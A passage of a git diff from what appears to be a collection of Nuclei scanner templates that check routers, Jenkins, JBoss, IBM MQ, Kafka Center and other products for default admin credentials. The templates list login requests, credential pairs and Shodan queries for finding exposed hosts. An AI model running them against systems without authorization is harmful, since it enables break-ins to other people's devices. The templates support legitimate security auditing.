Username=user&Password=MDRmODk5NmRhNzYzYjdhOTY5YjEwMjhlZTMwMDc1NjllYWYzYTYzNTQ4NmRkYWIyMTFkNTEyYzg1YjlkZjhmYg%3D%3D + Username=user&Password=MDRmODk5NmRhNzYzYjdhOTY5YjEwMjhlZTMwMDc1NjllYWYzYTYzNTQ4NmRkYWIyMTFkNTEyYzg1YjlkZjhmYg%3D%3D + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'Set-Cookie: SessionID' + - type: word + part: body + words: + - "replace" + - type: status + status: + - 200 diff --git a/poc/default/huawei-hg532e-default-router-login-8064.yaml b/poc/default/huawei-hg532e-default-router-login-8064.yaml deleted file mode 100644 index 5b907dd987..0000000000 --- a/poc/default/huawei-hg532e-default-router-login-8064.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: huawei-HG532e-default-login -info: - name: Huawei HG532e Default Credential - author: pussycat0x - severity: high - metadata: - shodan-query: http.html:"HG532e" - tags: default-login,huawei -requests: - - raw: - - | - POST /index/login.cgi HTTP/1.1 - Host: {{Hostname}} - Cookie: Language=en; FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0 - Content-Type: application/x-www-form-urlencoded - - Username=user&Password=MDRmODk5NmRhNzYzYjdhOTY5YjEwMjhlZTMwMDc1NjllYWYzYTYzNTQ4NmRkYWIyMTFkNTEyYzg1YjlkZjhmYg%3D%3D - matchers-condition: and - matchers: - - type: word - part: header - words: - - 'Set-Cookie: SessionID' - - type: word - part: body - words: - - "replace" - - type: status - status: - - 200 diff --git a/poc/default/hue-default-credential-8080.yaml b/poc/default/hue-default-credential-8080.yaml index d9f73b4d76..44b2307cb8 100644 --- a/poc/default/hue-default-credential-8080.yaml +++ b/poc/default/hue-default-credential-8080.yaml @@ -5,22 +5,22 @@ info: author: For3stCo1d severity: high description: Cloudera Hue default admin credentials were discovered. - reference: - - https://github.com/cloudera/hue + reference: https://github.com/cloudera/hue + metadata: + shodan-query: title:"Hue - Welcome to Hue" classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - metadata: - max-request: 8 - shodan-query: title:"Hue - Welcome to Hue" tags: hue,default-login,oss,cloudera -http: +requests: - raw: - | GET /hue/accounts/login?next=/ HTTP/1.1 Host: {{Hostname}} + - | POST /hue/accounts/login HTTP/1.1 Host: {{Hostname}} @@ -35,12 +35,14 @@ http: - hue - hadoop - cloudera + pass: - admin - hue - hadoop - cloudera + cookie-reuse: true extractors: - type: regex name: csrfmiddlewaretoken @@ -49,19 +51,20 @@ http: group: 1 regex: - name='csrfmiddlewaretoken' value='(.+?)' - stop-at-first-match: true + req-condition: true + stop-at-first-match: true matchers-condition: and matchers: - type: dsl dsl: - contains(tolower(body_1), 'welcome to hue') - - contains(tolower(header_2), 'csrftoken=') - - contains(tolower(header_2), 'sessionid=') + - contains(tolower(all_headers_2), 'csrftoken=') + - contains(tolower(all_headers_2), 'sessionid=') condition: and - type: status status: - 302 -# digest: 4a0a00473045022100f246e397d587a35d70dc6a427c61a8c01fccad74514da7b4e34e6ef28624c22902202f545802076fbc9bdfee5f7e04dcfea08004f131c0ba9ec21e92fba257c171a4:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/03/28 diff --git a/poc/default/hue-default-credential-8081.yaml b/poc/default/hue-default-credential-8081.yaml index 71dcb8de6a..d9f73b4d76 100644 --- a/poc/default/hue-default-credential-8081.yaml +++ b/poc/default/hue-default-credential-8081.yaml @@ -1,4 +1,5 @@ id: hue-default-credential + info: name: Cloudera Hue Default Admin Login author: For3stCo1d @@ -11,9 +12,11 @@ info: cvss-score: 8.3 cwe-id: CWE-522 metadata: + max-request: 8 shodan-query: title:"Hue - Welcome to Hue" tags: hue,default-login,oss,cloudera -requests: + +http: - raw: - | GET /hue/accounts/login?next=/ HTTP/1.1 @@ -24,6 +27,7 @@ requests: Content-Type: application/x-www-form-urlencoded csrfmiddlewaretoken={{csrfmiddlewaretoken}}&username={{user}}&password={{pass}}&next=%2F + attack: pitchfork payloads: user: @@ -36,7 +40,7 @@ requests: - hue - hadoop - cloudera - cookie-reuse: true + extractors: - type: regex name: csrfmiddlewaretoken @@ -45,18 +49,19 @@ requests: group: 1 regex: - name='csrfmiddlewaretoken' value='(.+?)' - req-condition: true stop-at-first-match: true + matchers-condition: and matchers: - type: dsl dsl: - contains(tolower(body_1), 'welcome to hue') - - contains(tolower(all_headers_2), 'csrftoken=') - - contains(tolower(all_headers_2), 'sessionid=') + - contains(tolower(header_2), 'csrftoken=') + - contains(tolower(header_2), 'sessionid=') condition: and + - type: status status: - 302 -# Enhanced by mp on 2022/03/28 +# digest: 4a0a00473045022100f246e397d587a35d70dc6a427c61a8c01fccad74514da7b4e34e6ef28624c22902202f545802076fbc9bdfee5f7e04dcfea08004f131c0ba9ec21e92fba257c171a4:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/ibm-mqseries-default-login-8107.yaml b/poc/default/ibm-mqseries-default-login-8107.yaml new file mode 100644 index 0000000000..765cde99f4 --- /dev/null +++ b/poc/default/ibm-mqseries-default-login-8107.yaml @@ -0,0 +1,46 @@ +id: ibm-mqseries-default-login +info: + name: IBM MQSeries Web Console Default Login + author: righettod + severity: high + description: IBM MQ and REST API default admin credentials were discovered. An unauthenticated, remote attacker can exploit this gain privileged or administrator access to the system. + tags: ibm,default-login + reference: + - https://github.com/ibm-messaging/mq-container/blob/master/etc/mqm/mq.htpasswd + - https://vulners.com/nessus/IBM_MQ_DEFAULT_CREDENTIALS.NASL + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 +requests: + - raw: + - | + POST /ibmmq/console/j_security_check HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Referer: {{RootURL}}/ibmmq/console/login.html + + j_username={{username}}&j_password={{password}} + attack: pitchfork + payloads: + username: + - admin + - app + - mqadmin + password: + - passw0rd + - passw0rd + - mqadmin + matchers-condition: and + matchers: + - type: word + part: header + words: + - "LtpaToken2_" + - type: status + status: + - 302 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/default/ibm-mqseries-default-login.yaml b/poc/default/ibm-mqseries-default-login.yaml deleted file mode 100644 index c262127af8..0000000000 --- a/poc/default/ibm-mqseries-default-login.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: ibm-mqseries-default-login -info: - name: IBM MQSeries web console default login - author: righettod - severity: high - description: The remote host is running IBM MQ and REST API and is using default credentials. An unauthenticated, remote attacker can exploit this gain privileged or administrator access to the system. - tags: ibm,default-login - reference: - - https://github.com/ibm-messaging/mq-container/blob/master/etc/mqm/mq.htpasswd - - https://vulners.com/nessus/IBM_MQ_DEFAULT_CREDENTIALS.NASL -requests: - - raw: - - | - POST /ibmmq/console/j_security_check HTTP/1.1 - Host: {{Hostname}} - Origin: {{RootURL}} - Content-Type: application/x-www-form-urlencoded - Referer: {{RootURL}}/ibmmq/console/login.html - - j_username={{username}}&j_password={{password}} - attack: pitchfork - payloads: - username: - - admin - - app - - mqadmin - password: - - passw0rd - - passw0rd - - mqadmin - matchers-condition: and - matchers: - - type: word - part: header - words: - - "LtpaToken2_" - - type: status - status: - - 302 diff --git a/poc/default/ibm-storage-default-credential-8123.yaml b/poc/default/ibm-storage-default-credential-8123.yaml index 366094a9af..551f02c9fe 100644 --- a/poc/default/ibm-storage-default-credential-8123.yaml +++ b/poc/default/ibm-storage-default-credential-8123.yaml @@ -3,8 +3,16 @@ id: ibm-storage-default-login info: name: IBM Storage Management Default Login author: madrobot - severity: medium + severity: high tags: default-login,ibm,storage + description: IBM Storage Management default admin login credentials were discovered. + reference: + - https://www.ibm.com/docs/en/power-sys-solutions/0008-ESS?topic=5148-starting-elastic-storage-server-management-server-gui + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 requests: - raw: @@ -40,3 +48,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/default/ibm-storage-default-credential-8124.yaml b/poc/default/ibm-storage-default-credential-8124.yaml index e018689a5d..8b64e0a530 100644 --- a/poc/default/ibm-storage-default-credential-8124.yaml +++ b/poc/default/ibm-storage-default-credential-8124.yaml @@ -3,14 +3,15 @@ info: name: IBM Storage Management Default Login author: madrobot severity: high + tags: default-login,ibm,storage description: IBM Storage Management default admin login credentials were discovered. reference: - https://www.ibm.com/docs/en/power-sys-solutions/0008-ESS?topic=5148-starting-elastic-storage-server-management-server-gui classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - tags: default-login,ibm,storage requests: - raw: - | diff --git a/poc/default/idemia-biometrics-default-login-8138.yaml b/poc/default/idemia-biometrics-default-login-8138.yaml new file mode 100644 index 0000000000..819cd0e0c3 --- /dev/null +++ b/poc/default/idemia-biometrics-default-login-8138.yaml @@ -0,0 +1,46 @@ +id: idemia-biometrics-default-login + +info: + name: IDEMIA BIOMetrics Default Login + author: Techryptic (@Tech) + severity: medium + description: IDEMIA BIOMetrics application default login credentials were discovered. + reference: https://www.google.com/search?q=idemia+password%3D+"12345" + tags: idemia,biometrics,default-login + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N + cvss-score: 5.8 + cve-id: + cwe-id: CWE-522 + +requests: + - raw: + - | + POST /cgi-bin/login.cgi HTTP/1.1 + Host: {{Hostname}} + + password={{password}} + + payloads: + password: + - "12345" + + matchers-condition: and + matchers: + - type: word + condition: and + words: + - "session_id=" + - "resource" + + - type: word + part: body + negative: true + words: + - "Invalid Password" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/default/idemia-biometrics-default-login-8139.yaml b/poc/default/idemia-biometrics-default-login-8139.yaml index 1a7ffa1347..29b7b65a90 100644 --- a/poc/default/idemia-biometrics-default-login-8139.yaml +++ b/poc/default/idemia-biometrics-default-login-8139.yaml @@ -1,21 +1,32 @@ id: idemia-biometrics-default-login + info: name: IDEMIA BIOMetrics Default Login author: Techryptic (@Tech) - severity: high - description: Default Login of password=12345 on IDEMIA BIOMetrics application. - reference: https://www.google.com/search?q=idemia+password%3D+"12345" + severity: medium + description: IDEMIA BIOMetrics application default login credentials were discovered. + reference: + - https://www.google.com/search?q=idemia+password%3D+"12345" + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N + cvss-score: 5.8 + cwe-id: CWE-522 + metadata: + max-request: 1 tags: idemia,biometrics,default-login -requests: + +http: - raw: - | POST /cgi-bin/login.cgi HTTP/1.1 Host: {{Hostname}} password={{password}} + payloads: password: - "12345" + matchers-condition: and matchers: - type: word @@ -23,11 +34,15 @@ requests: words: - "session_id=" - "resource" + - type: word part: body negative: true words: - "Invalid Password" + - type: status status: - 200 + +# digest: 4a0a004730450220539ef0738034d87da43eecee0f1fd81fe9deb15937d5d7d05e8a7570514d5c51022100aa5f015c5faa3c67721518b88bcae22c57201d91eacd39d469305e31b140913f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/inspur-clusterengine-default-login-8162.yaml b/poc/default/inspur-clusterengine-default-login-8162.yaml index bbda3dd5e1..95694fdd36 100644 --- a/poc/default/inspur-clusterengine-default-login-8162.yaml +++ b/poc/default/inspur-clusterengine-default-login-8162.yaml @@ -1,16 +1,18 @@ id: inspur-clusterengine-default-login info: - name: Inspur Clusterengine V4 Default Login + name: Inspur Clusterengine 4 - Default Admin Login author: ritikchaddha severity: high + description: Inspur Clusterengine version 4 default admin login credentials were successful. reference: - https://blog.csdn.net/qq_36197704/article/details/115665793 metadata: + max-request: 1 fofa-query: title="TSCEV4.0" - tags: inspur,clusterengine,default-login + tags: default-login,inspur,clusterengine -requests: +http: - raw: - | POST /login HTTP/1.1 @@ -24,9 +26,9 @@ requests: - admin|pwd password: - 123456 - - redirects: true + host-redirects: true max-redirects: 2 + matchers-condition: and matchers: - type: word @@ -43,3 +45,5 @@ requests: - type: status status: - 200 + +# digest: 4a0a0047304502205a0a7bfae8326d478cff4165b5e1b4ada8d48f6b796c9e9cb65310a6c673bc1b022100ec27eaa708bfd5944f619c4d517ba9b77f0064eff47c13c95da156b9477c7057:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/inspur-clusterengine-default-login.yaml b/poc/default/inspur-clusterengine-default-login.yaml deleted file mode 100644 index 9606e97674..0000000000 --- a/poc/default/inspur-clusterengine-default-login.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: inspur-clusterengine-default-login -info: - name: Inspur Clusterengine V4 Default Login - author: ritikchaddha - severity: high - reference: - - https://blog.csdn.net/qq_36197704/article/details/115665793 - metadata: - fofa-query: title="TSCEV4.0" - tags: inspur,clusterengine,default-login -requests: - - raw: - - | - POST /login HTTP/1.1 - Host: {{Hostname}} - - op=login&username={{username}}&password={{password}} - attack: pitchfork - payloads: - username: - - admin|pwd - password: - - 123456 - redirects: true - max-redirects: 2 - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"exitcode":0' - - type: word - part: header - words: - - "username=admin|pwd" - condition: and - - type: status - status: - - 200 diff --git a/poc/default/iptime-default-login-8194.yaml b/poc/default/iptime-default-login-8194.yaml index a03c2cf675..de11e4bf3e 100644 --- a/poc/default/iptime-default-login-8194.yaml +++ b/poc/default/iptime-default-login-8194.yaml @@ -4,13 +4,14 @@ info: author: gy741 severity: high description: ipTIME default admin credentials were discovered. + tags: iptime,default-login reference: - https://www.freewebtools.com/IPTIME/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - tags: iptime,default-login requests: - raw: - | diff --git a/poc/default/iptime-default-login.yaml b/poc/default/iptime-default-login.yaml deleted file mode 100644 index de11e4bf3e..0000000000 --- a/poc/default/iptime-default-login.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: iptime-default-login -info: - name: ipTIME Default Login - author: gy741 - severity: high - description: ipTIME default admin credentials were discovered. - tags: iptime,default-login - reference: - - https://www.freewebtools.com/IPTIME/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 -requests: - - raw: - - | - POST /sess-bin/login_handler.cgi HTTP/1.1 - Host: {{Hostname}} - Referer: {{BaseURL}}/sess-bin/login_session.cgi - - username={{username}}&passwd={{password}} - payloads: - username: - - admin - password: - - admin - attack: pitchfork - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "setCookie" - - "efm_session_id" - - "login.cgi" - part: body - condition: and - -# Enhanced by mp on 2022/03/10 diff --git a/poc/default/jenkins-default-8272.yaml b/poc/default/jenkins-default-8272.yaml deleted file mode 100644 index 49d28d5ad2..0000000000 --- a/poc/default/jenkins-default-8272.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: jenkins-weak-password - -info: - name: Jenkins Default Login - author: Zandros0 - severity: high - description: Jenkins default admin login information was discovered. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - max-request: 3 - tags: jenkins,default-login - -http: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - | - POST /j_spring_security_check HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - j_username=admin&j_password=admin&from=%2F&Submit=Sign+in - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - matchers: - - type: dsl - dsl: - - 'contains(body_3, "/logout")' - - 'contains(body_3, "Dashboard [Jenkins]")' - condition: and - -# digest: 4a0a00473045022100b16ae0702bff0357d67fcb0c3c550cac7d0326dae08e724f453686e5aced3ce1022007d49e31d2ea2b626977d09b6da19ad87c42c26ca12e8a588e3bfa8b79fcffae:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/jenkins-default-login.yaml b/poc/default/jenkins-default-login.yaml index 211cb2dbf7..d5c3b290db 100644 --- a/poc/default/jenkins-default-login.yaml +++ b/poc/default/jenkins-default-login.yaml @@ -1,42 +1,43 @@ -id: jenkins-weak-password - -info: - name: Jenkins Default Login - author: Zandros0 - severity: critical - description: Jenkins default admin login information was discovered. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - tags: jenkins,default-login - metadata: - max-request: 3 - -http: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - - | - POST /j_spring_security_check HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - j_username=admin&j_password=admin&from=%2F&Submit=Sign+in - - - | - GET / HTTP/1.1 - Host: {{Hostname}} - - cookie-reuse: true - req-condition: true - matchers: - - type: dsl - dsl: - - 'contains(body_3, "/logout")' - - 'contains(body_3, "Dashboard [Jenkins]")' - condition: and - -# Enhanced by mp on 2022/03/10 \ No newline at end of file +id: jenkins-weak-password +info: + name: Jenkins Weak Password + author: Zandros0 + severity: high + tags: jenkins,default-login +requests: + - raw: + - | + GET /login HTTP/1.1 + Host: {{Hostname}} + - | + POST /j_spring_security_check HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Cookie: {{cookie}} + + j_username=admin&j_password=admin&from=%2F&Submit=Sign+in + - | + POST /j_spring_security_check HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Cookie: {{cookie}} + + j_username=jenkins&j_password=password&from=%2F&Submit=Sign+in + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Cookie: {{cookie}} + extractors: + - type: regex + name: cookie + internal: true + part: header + regex: + - 'JSESSIONID\..*=([a-z0-9.]+)' + req-condition: true + matchers: + - type: dsl + dsl: + - 'contains(body_4, "/logout")' + - 'contains(body_4, "Dashboard [Jenkins]")' + condition: and diff --git a/poc/default/jinher-oa-default-login-8311.yaml b/poc/default/jinher-oa-default-login-8311.yaml new file mode 100644 index 0000000000..91cbc784f4 --- /dev/null +++ b/poc/default/jinher-oa-default-login-8311.yaml @@ -0,0 +1,52 @@ +id: jinher-oa-default-login + +info: + name: Jinher-OA C6 - Default Admin Discovery + author: ritikchaddha + severity: high + description: Jinher-OA C6 default admin credentials were discovered. + reference: + - https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E5%92%8COA-C6-default-password.md + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 1 + tags: jinher,default-login + +http: + - raw: + - | + POST /c6/Jhsoft.Web.login/AjaxForLogin.aspx HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + type=login&loginCode={{base64("{{username}}")}}&pwd={{base64("{{password}}")}}& + + attack: pitchfork + payloads: + username: + - admin + password: + - "000000" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "ϵͳ¹ÜÀíÔ±|" + - "ÄúºÃ|||" + condition: and + + - type: word + part: header + words: + - "SessionIDAdmin=" + + - type: status + status: + - 200 + +# digest: 4b0a00483046022100c7f1aeb7fdb9213a70f5c33dbd33cb2e5f4445b1b3c8644668dfb733ae8e3f48022100ff616236d4f688db2f8267b1d09d2a573a8c6c266b7690b419697f88bdc8faf7:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/jinher-oa-default-login.yaml b/poc/default/jinher-oa-default-login.yaml deleted file mode 100644 index 84e1e87e9b..0000000000 --- a/poc/default/jinher-oa-default-login.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: jinher-oa-default-login -info: - name: Jinher-OA C6 - Default Admin Discovery - author: ritikchaddha - severity: high - description: Jinher-OA C6 default admin credentials were discovered. - reference: - - https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E5%92%8COA-C6-default-password.md - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - tags: jinher,default-login -requests: - - raw: - - | - POST /c6/Jhsoft.Web.login/AjaxForLogin.aspx HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - type=login&loginCode={{base64("{{username}}")}}&pwd={{base64("{{password}}")}}& - attack: pitchfork - payloads: - username: - - admin - password: - - "000000" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "ϵͳ¹ÜÀíÔ±|" - - "ÄúºÃ|||" - condition: and - - type: word - part: header - words: - - "SessionIDAdmin=" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/07/15 diff --git a/poc/default/jira-login-default.yaml b/poc/default/jira-login-default.yaml index d3d14b37e6..4b34037e6d 100644 --- a/poc/default/jira-login-default.yaml +++ b/poc/default/jira-login-default.yaml @@ -8,10 +8,10 @@ info: reference: - https://owasp.org/www-community/attacks/Credential_stuffing metadata: - max-request: 1 shodan-query: http.component:"Atlassian Jira" fofa-query: product="JIRA" tags: login-check,jira,creds-stuffing,self-hosted + variables: username: "{{username}}" password: "{{password}}" @@ -32,8 +32,8 @@ http: dsl: - username - password - attack: pitchfork + attack: pitchfork matchers-condition: and matchers: - type: word @@ -43,6 +43,4 @@ http: - type: status status: - - 200 - -# digest: 4a0a0047304502201b101496c1854e349bf95753e7cdfb3343d8599dc26efb543e4c3ceb2bb95e1f0221008648d8f4932d84b324ff6a350ea792a0ef1ef91a393292f43082173ccbb99a54:922c64590222798bb761d5b6d8e72950 + - 200 \ No newline at end of file diff --git a/poc/default/jmx-default-login-8356.yaml b/poc/default/jmx-default-login-8356.yaml index 7062d26898..375f1c4132 100644 --- a/poc/default/jmx-default-login-8356.yaml +++ b/poc/default/jmx-default-login-8356.yaml @@ -1,15 +1,30 @@ id: jmx-default-login + info: - name: JBoss JMX Console Weak Credential + name: JBoss JMX Console Weak Credential Discovery author: paradessia severity: high + description: JBoss JMX Console default login information was discovered. + reference: + - https://docs.jboss.org/jbossas/6/Admin_Console_Guide/en-US/html/Administration_Console_User_Guide-Accessing_the_Console.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 28 tags: jboss,jmx,default-login -requests: + +http: - raw: + - | + GET /jmx-console/ HTTP/1.1 + Host: {{Hostname}} - | GET /jmx-console/ HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(user + ':' + pass)}} + attack: clusterbomb payloads: user: @@ -23,11 +38,15 @@ requests: - 123456789 - 123qwe - root + matchers-condition: and matchers: + - type: dsl + dsl: + - "!contains(body_1, 'JMImplementation') && contains(body_2, 'JMImplementation')" + - type: status status: - 200 - - type: word - words: - - 'JMImplementation' + +# digest: 4a0a0047304502201f319b650493bdd684894819ca3875b30d71b689af29bc7cbd853256fbae046502210088d943455efcfe4aa5951c5f50705509f37b815eb8d49d803fd40c2acb19a3c5:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/jmx-default-login.yaml b/poc/default/jmx-default-login.yaml deleted file mode 100644 index 84d0053092..0000000000 --- a/poc/default/jmx-default-login.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: jmx-default-login -info: - name: JBoss JMX Console Weak Credential Discovery - description: JBoss JMX Console default login information was discovered. - author: paradessia - severity: high - tags: jboss,jmx,default-login - reference: - - https://docs.jboss.org/jbossas/6/Admin_Console_Guide/en-US/html/Administration_Console_User_Guide-Accessing_the_Console.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 -requests: - - raw: - - | - GET /jmx-console/ HTTP/1.1 - Host: {{Hostname}} - Authorization: Basic {{base64(user + ':' + pass)}} - attack: clusterbomb - payloads: - user: - - admin - - root - pass: - - admin - - 12345 - - 123456 - - 1234 - - 123456789 - - 123qwe - - root - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - 'JMImplementation' - -# Enhanced by mp on 2022/03/10 diff --git a/poc/default/jupyterhub-default-login-8401.yaml b/poc/default/jupyterhub-default-login-8401.yaml index 8ed406b725..eb6153750b 100644 --- a/poc/default/jupyterhub-default-login-8401.yaml +++ b/poc/default/jupyterhub-default-login-8401.yaml @@ -1,9 +1,15 @@ id: jupyterhub-default-login info: - name: Jupyterhub Default Login + name: Jupyterhub - Default Admin Discovery author: For3stCo1d severity: high - reference: https://github.com/jupyterhub/jupyterhub + description: Jupyterhub default admin credentials were discovered. + reference: + - https://github.com/jupyterhub/jupyterhub + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 metadata: shodan-query: http.title:"JupyterHub" tags: jupyterhub,default-login @@ -33,3 +39,5 @@ requests: - type: status status: - 302 + +# Enhanced by mp on 2022/07/15 diff --git a/poc/default/jupyterhub-default-login-8400.yaml b/poc/default/jupyterhub-default-login.yaml similarity index 100% rename from poc/default/jupyterhub-default-login-8400.yaml rename to poc/default/jupyterhub-default-login.yaml diff --git a/poc/default/kafka-center-default-login-8415.yaml b/poc/default/kafka-center-default-login-8415.yaml new file mode 100644 index 0000000000..6de21b6717 --- /dev/null +++ b/poc/default/kafka-center-default-login-8415.yaml @@ -0,0 +1,48 @@ +id: kafka-center-default-login + +info: + name: Apache Kafka Center Default Login + author: dhiyaneshDK + severity: high + tags: kafka,default-login + description: Apache Kafka Center default admin credentials were discovered. + reference: + - https://developer.ibm.com/tutorials/kafka-authn-authz/ + metadata: + shodan-query: http.title:"Kafka Center" + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 + +requests: + - raw: + - | + POST /login/system HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"name":"{{username}}","password":"{{password}}","checkbox":false} + + attack: pitchfork + payloads: + username: + - admin + password: + - admin + + matchers-condition: and + matchers: + + - type: word + words: + - '"code":200' + - '"name":"admin"' + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/default/kafka-center-default-login-8416.yaml b/poc/default/kafka-center-default-login-8416.yaml index dc906bae8a..4bf1b45c64 100644 --- a/poc/default/kafka-center-default-login-8416.yaml +++ b/poc/default/kafka-center-default-login-8416.yaml @@ -3,16 +3,17 @@ info: name: Apache Kafka Center Default Login author: dhiyaneshDK severity: high + tags: kafka,default-login description: Apache Kafka Center default admin credentials were discovered. reference: - https://developer.ibm.com/tutorials/kafka-authn-authz/ + metadata: + shodan-query: http.title:"Kafka Center" classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - metadata: - shodan-query: http.title:"Kafka Center" - tags: kafka,default-login requests: - raw: - | diff --git a/poc/default/lighttpd-default.yaml b/poc/default/lighttpd-default.yaml index deeb3bf63f..749ea60efa 100644 --- a/poc/default/lighttpd-default.yaml +++ b/poc/default/lighttpd-default.yaml @@ -1,27 +1,20 @@ id: lighttpd-default - info: name: lighttpd Default Page author: dhiyaneshDK severity: info - metadata: - max-request: 1 - shodan-query: http.title:"Powered by lighttpd" + reference: + - https://www.shodan.io/search?query=http.title%3A%22Powered+by+lighttpd%22 tags: tech,lighttpd - -http: +requests: - method: GET path: - '{{BaseURL}}' - matchers-condition: and matchers: - type: word words: - "Powered by lighttpd" - - type: status status: - 200 - -# digest: 490a0046304402207bfb53ff74c8a5d2164ebdb801345b5d3b8f3888967a5ecdc711bd142f5f7bcd02203e2391d3e9dff05fd2ed8001470a60b1ac2fc4dfd7c61e2039b6cdd4263652fd:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/lutron-iot-default-login-8675.yaml b/poc/default/lutron-iot-default-login-8675.yaml new file mode 100644 index 0000000000..aa05f20cc8 --- /dev/null +++ b/poc/default/lutron-iot-default-login-8675.yaml @@ -0,0 +1,27 @@ +id: lutron-iot-default-login +info: + name: Lutron IOT Device Default Login + author: geeknik + severity: high + reference: + - https://www.lutron.com + tags: iot,default-login,lutron,panel +requests: + - method: GET + path: + - "{{BaseURL}}/login?login=lutron&password=lutron" + matchers-condition: and + matchers: + - type: word + words: + - "LUTRON" + - ">DeviceIP" + - ">Get Database Info as XML" + condition: and + - type: word + part: header + words: + - "text/html" + - type: status + status: + - 200 diff --git a/poc/default/lutron-iot-default-login-8678.yaml b/poc/default/lutron-iot-default-login-8678.yaml deleted file mode 100644 index 9f80864342..0000000000 --- a/poc/default/lutron-iot-default-login-8678.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: lutron-iot-default-login - -info: - name: Lutron IOT Device Default Login - reference: https://www.lutron.com - author: geeknik - severity: high - tags: iot,default-login,lutron,panel - -requests: - - method: GET - path: - - "{{BaseURL}}/login?login=lutron&password=lutron" - - matchers-condition: and - matchers: - - type: word - words: - - "LUTRON" - - ">DeviceIP" - - ">Get Database Info as XML" - condition: and - - - type: word - part: header - words: - - "text/html" - - - type: status - status: - - 200 diff --git 